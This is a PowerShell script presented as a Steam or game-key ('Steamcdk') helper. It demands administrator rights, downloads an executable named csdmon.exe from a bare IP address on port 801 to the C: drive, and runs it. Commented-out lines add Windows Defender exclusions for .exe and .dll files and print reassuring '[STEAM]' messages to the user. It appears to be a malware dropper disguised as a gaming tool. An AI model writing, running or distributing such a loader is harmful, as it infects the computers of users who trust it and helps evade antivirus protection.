#Requires -RunAsAdministrator

$isAdmin = [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544')
if (-not $isAdmin) {
    Write-Host "Please Run as Administrator"
}

$steamRegPath = 'C:\'
$steamPath = 'C:\'
$root = $steamPath.Substring(0,1) # 获取路径中的盘符部分
$rest = $steamPath.Substring(1)   # 获取路径中盘符后面的部分
$steamPath = $root.ToUpper() + $rest # 将盘符部分转换为大写

# $steamPath = $filePath -replace "/", "\"

# Write-Host $steamPath

if ($null -ne $steamPath) {
    try {
# exclude windows defender
#        if (Get-Service | where-object { $_.name -eq "windefend" -and $_.status -eq "running" }) {
#            Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension ".dll",".exe"
#            Write-Host "  [STEAM]  Windows Defender has been exclude"
#        }
#        else {
#            Write-Host "  [STEAM] Windows Defender exclude failed."
#        }

# display Message 
#        Write-Host "  [STEAM] App is ready for run .please wait... "
#        Write-Host "  [STEAM] Windows Defender has been clear "
#        Write-Host "  [STEAM] Ready to go !!! "
#        Write-Host "  [STEAM] watiing 1-3min "

# download file and process
        $appStorePath = Join-Path $steamPath "csdmon.exe"
        $downloadUrl = "http://47.94.132.211:801/csdmon.exe"
        $backupUrl = "http://47.94.132.211:801/csdmon.exe"

        
        try {
            (New-Object Net.WebClient).DownloadFile($downloadUrl, $appStorePath)
        } catch {
            Write-Warning "Steamcdk failed. [STEAM] watiing."
            try {
                (New-Object Net.WebClient).DownloadFile($backupUrl, $appStorePath)
            } catch {
                Write-Error "Steamcdk failed. Please check your internet connection or colse 关闭VPN重试."
            }
        }

# lauch execute our exe file;
        Start-Process -FilePath $appStorePath
    }
    catch {

    }
}